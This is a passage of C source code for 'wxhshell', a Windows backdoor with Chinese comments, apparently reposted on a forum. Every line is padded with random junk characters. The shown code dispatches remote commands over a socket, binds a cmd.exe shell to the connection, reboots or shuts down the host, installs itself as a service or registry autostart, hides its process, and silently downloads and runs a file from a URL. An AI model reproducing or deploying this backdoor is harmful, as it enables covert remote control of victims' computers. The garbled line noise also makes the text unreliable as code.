lVqvS/_k$  
    switch(cmd[0]) { sl)_HA7G  
  0n1y$*I4  
  // 帮助 uy B ?-Y+  
  case '?': { Tj.;\a|d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4b4nFRnH  
    break; D3I;5m`_  
  } nGRF< 2!  
  // 安装 7OT}V}iP  
  case 'i': { 3i7n"8\$  
    if(Install()) Jx 'p\*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q<"zpwHR  
    else f$P pFSY4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g6N{Z e Wg  
    break; w7O(I"  
    } D[U5SS!)  
  // 卸载 /P,J);Y  
  case 'r': { ed& ,  
    if(Uninstall()) d(h`bOjI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); + ('jqbV  
    else JK,k@RE y]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JeiW z1t  
    break; ?p/i}28=y  
    } @$Y`I{Xf  
  // 显示 wxhshell 所在路径 pO"V9[p]  
  case 'p': { lT*Hj.  
    char svExeFile[MAX_PATH]; %GAEZH,2sG  
    strcpy(svExeFile,"\n\r"); n2$*Z6.G  
      strcat(svExeFile,ExeFile); * F&C`]  
        send(wsh,svExeFile,strlen(svExeFile),0); O10h(Wg  
    break; #.) qQ8*(  
    } /\2s%b*  
  // 重启 3C.bzw^  
  case 'b': { P_w+p"@m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w2Pkw'a{  
    if(Boot(REBOOT)) -[ F<u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YT#" HYO  
    else { 0e3 aWn  
    closesocket(wsh); C#(4>'  
    ExitThread(0); V" I+E  
    } QarA.Ne~  
    break; RM,r0Kv17Y  
    } zX(p\NU  
  // 关机 X1$0'u sS  
  case 'd': { :eDwkzlHH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H+-9R  
    if(Boot(SHUTDOWN)) t + Fm?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xez~Yw2  
    else { LR}b^QU7  
    closesocket(wsh); \U,.!'+  
    ExitThread(0); GYCc)Guc  
    } eFbr1IV  
    break; DaaLRMQ=  
    } :tNH Cx  
  // 获取shell v2dCna\  
  case 's': { jiz"`,-},O  
    CmdShell(wsh); )j!22tlL  
    closesocket(wsh); NfKi,^O  
    ExitThread(0); r\a9<nZ{  
    break; wn5CaP(]8  
  } ]{Iy<  
  // 退出 &rk /ya[  
  case 'x': { vxK}f*d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =3Y?U*d  
    CloseIt(wsh); FjVC&+c  
    break; )9J&M6LX  
    } 'Aai.PE:  
  // 离开 t<x0?vfD  
  case 'q': { $Y 7q2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); < JA5.6<=  
    closesocket(wsh); b?qtTce  
    WSACleanup(); \,lgv  
    exit(1); Fb VtyQz  
    break; {dhGSM7  
        } r6QNs1f~.  
  } W8R@Pf  
  } _G,`s7Q,w  
MHk\y2`/;  
  // 提示信息 X5'foFE'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T/UhZ4(V  
} r( :"BQ  
  } r@^h,  
mRFcZ.7  
  return;  g&#.zJ[-  
} I[G<aI!  
o%5^dX&[  
// shell模块句柄 2t*@P"e!  
int CmdShell(SOCKET sock) "\U$aaF  
{ o"J}@nF  
STARTUPINFO si; O8r9&Nv  
ZeroMemory(&si,sizeof(si)); w SBDJvI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v 4DF #O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZWxq<& Cg  
PROCESS_INFORMATION ProcessInfo; %5NfF65'  
char cmdline[]="cmd"; TnCN2#BO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l+Uy  
  return 0; :6./yj(  
} d7qHUx'=z  
X~G!{TT_x6  
// 自身启动模式 &%$r3ePwc  
int StartFromService(void) 2mWW0txil  
{ _T7tq  
typedef struct wZ5 + H%x  
{ |#Z:v1]"  
  DWORD ExitStatus; '/J}T -,Z  
  DWORD PebBaseAddress; a$l  
  DWORD AffinityMask; +K])&}Dw  
  DWORD BasePriority; )E'iC  
  ULONG UniqueProcessId; g,@0 ;uVq  
  ULONG InheritedFromUniqueProcessId; +x\b- '  
}   PROCESS_BASIC_INFORMATION; Re0ma%~LP  
ECWn/4Aws  
PROCNTQSIP NtQueryInformationProcess; kTL{?-  
Wf +j/RxTi  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bO^#RVH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5VDqx@(  
pc J5UJY  
  HANDLE             hProcess; ! jm>  
  PROCESS_BASIC_INFORMATION pbi; eR4%4gW)  
}PTYNidlR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RHZ5f0b4L  
  if(NULL == hInst ) return 0; ML^c-xY(  
T XWi5f[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a2 e-Q({  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N=YRYU o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b)tvXiO1>  
3i/$YX5@  
  if (!NtQueryInformationProcess) return 0; <b~KR8  
%qfql  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); " qY Pi  
  if(!hProcess) return 0; VPx"l5\  
M}kt q)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u_[s+ J/  
{L$]NQdz  
  CloseHandle(hProcess); Kz:g9  
KWq7M8mq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nlQ<Aa-%  
if(hProcess==NULL) return 0; CqDKQQ  
Mhc!v, D$  
HMODULE hMod; ~pWbD~aeg  
char procName[255]; (p08jR '5  
unsigned long cbNeeded; E"ijNs  
n a,j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2>Bx/QF@<  
K4b# y~@  
  CloseHandle(hProcess); Dm?>U1{   
rV>/:FG  
if(strstr(procName,"services")) return 1; // 以服务启动 fgVeB;k|  
D<B/oSy  
  return 0; // 注册表启动 NHG+l)y:  
} vtM!?#  
@-|{qP=Dy  
// 主模块 R}'kF63u*  
int StartWxhshell(LPSTR lpCmdLine) 6Lk<VpAa  
{ |r[yMI|VR  
  SOCKET wsl; 2 UU5\ jV6  
BOOL val=TRUE; |!NKKvf  
  int port=0; L s6P<"V  
  struct sockaddr_in door; k7yQEU  
1bs 8fUPB3  
  if(wscfg.ws_autoins) Install(); B:Ec(USe  
>bWx!M]  
port=atoi(lpCmdLine); ~0aWjMc(>  
_-$O6eZ  
if(port<=0) port=wscfg.ws_port; d~1Nct$:  
pCS2sq8RC  
  WSADATA data; 6m"_=.k%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %T4htZa  
b1Bu5%bt,:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b0|q@!z>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i>#[*.|P  
  door.sin_family = AF_INET; ,y@`wq>O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /*\pm!]._^  
  door.sin_port = htons(port); , v,mBYaU  
<8nl}^d5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &"]Uh   
closesocket(wsl); d5mhk[p7\J  
return 1; *F| j%]k~  
} *NzHY;e  
\,| Xz|?C  
  if(listen(wsl,2) == INVALID_SOCKET) { >tTNvb5  
closesocket(wsl); G?e"A0,  
return 1; [zmx  
} q{I,i(%m8  
  Wxhshell(wsl); 22lC^)`TE  
  WSACleanup(); SZW+<X  
:a3  +f5  
return 0; 2gLa4B-  
&(a#I]`9M  
} +^1E0@b%  
72@lDY4cE  
// 以NT服务方式启动 c#X9d8>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +rse,b&U(  
{ (GB2("p`  
DWORD   status = 0; +NL^/y<;  
  DWORD   specificError = 0xfffffff; P[{qp8(g  
 Gh;Ju[6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _): V7Zv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l1BbL5#1Q>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s *$Re)}S  
  serviceStatus.dwWin32ExitCode     = 0; *c'nPa$+|S  
  serviceStatus.dwServiceSpecificExitCode = 0; *opf~B_e  
  serviceStatus.dwCheckPoint       = 0; ,Y 1&[  
  serviceStatus.dwWaitHint       = 0; d3Dw[4  
v_-S#(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0IU>KGJ-0s  
  if (hServiceStatusHandle==0) return; ZNb;2 4  
;4XvlcGo  
status = GetLastError(); pE.f}  
  if (status!=NO_ERROR) bH+x `]{A  
{ i oCoFj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ($a ?zJr  
    serviceStatus.dwCheckPoint       = 0; :EOx>Pf_9)  
    serviceStatus.dwWaitHint       = 0; 9$[I~I#z  
    serviceStatus.dwWin32ExitCode     = status; (bEX"U-  
    serviceStatus.dwServiceSpecificExitCode = specificError; q;co53.+P)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -<rQOPH%  
    return; C? pi8Xg  
  } QP/6N9/  
|<nS<x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~3k& =3d]  
  serviceStatus.dwCheckPoint       = 0; &' ,A2iG  
  serviceStatus.dwWaitHint       = 0; m8KJ~02l#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (eX9O4  
} huh-S ,M  
1,cd[^`.  
// 处理NT服务事件,比如:启动、停止 Gok8:,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x1:#rb'  
{ @oC# k<  
switch(fdwControl) }6/L5j:+  
{ 3#fu; ??1.  
case SERVICE_CONTROL_STOP: 7P3PQ%:  
  serviceStatus.dwWin32ExitCode = 0; b=:$~N@Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (!F Uu  
  serviceStatus.dwCheckPoint   = 0; TMt,\gTd  
  serviceStatus.dwWaitHint     = 0; ]3.Un,F  
  { Cj~45)r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v(ABZNIn  
  } Nda,G++5(  
  return; $@m)8T  
case SERVICE_CONTROL_PAUSE: ;8WgbR)ZLU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qyXx`'e  
  break; !'uLV#YEZ  
case SERVICE_CONTROL_CONTINUE: >r Nff!Ow  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y|ONCc  
  break; diXb8L7B;  
case SERVICE_CONTROL_INTERROGATE: BR8W8nRb  
  break; $HjKELoJ<  
}; ?Y6MC:l<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |~'D8 g:Ak  
} J?/.|Y]e  
u<8 f ;C_  
// 标准应用程序主函数 1d4 9z9F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Izrf42 >k  
{ cY/!z  
cG%ttfq\  
// 获取操作系统版本 -$pS {q;  
OsIsNt=GetOsVer(); U3SF'r8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KX*Hev'K  
;K[ G]8  
  // 从命令行安装 L||_Jsu  
  if(strpbrk(lpCmdLine,"iI")) Install(); z-(#Mlq:!  
HV:mS*e  
  // 下载执行文件 ]7WBoC8  
if(wscfg.ws_downexe) { gI^);J rTE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]:* 8 Mb#  
  WinExec(wscfg.ws_filenam,SW_HIDE); xl5n(~g)p  
} Q;O\tl  
nJ/wtw  
if(!OsIsNt) { a/@<KnT  
// 如果时win9x,隐藏进程并且设置为注册表启动 U^_'e_)  
HideProc(); >:l; W4j  
StartWxhshell(lpCmdLine); LS:3Dtq  
} \=+ s3p5N  
else } g  WSV  
  if(StartFromService()) OHnHSb'?\  
  // 以服务方式启动 DbSl}N;  
  StartServiceCtrlDispatcher(DispatchTable); Uo{h. .7?  
else $)| l#'r  
  // 普通方式启动 Vv(!Ki}  
  StartWxhshell(lpCmdLine); 5qco4@8  
o{*8l#x8  
return 0; W>b(hVBE  
}
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只看该作者 1 发表于: 2006-10-10
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